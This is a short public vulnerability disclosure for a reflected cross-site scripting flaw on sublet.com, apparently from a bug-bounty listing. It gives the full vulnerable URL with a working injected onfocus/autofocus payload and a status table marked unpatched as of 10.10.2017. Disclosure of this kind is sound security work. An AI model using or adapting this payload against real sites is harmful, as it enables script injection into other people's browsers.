sublet.com XSS vulnerability

Vulnerable URL: https://www.sublet.com/faq/faq.asp?mode=anywords=aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 57809 VIP...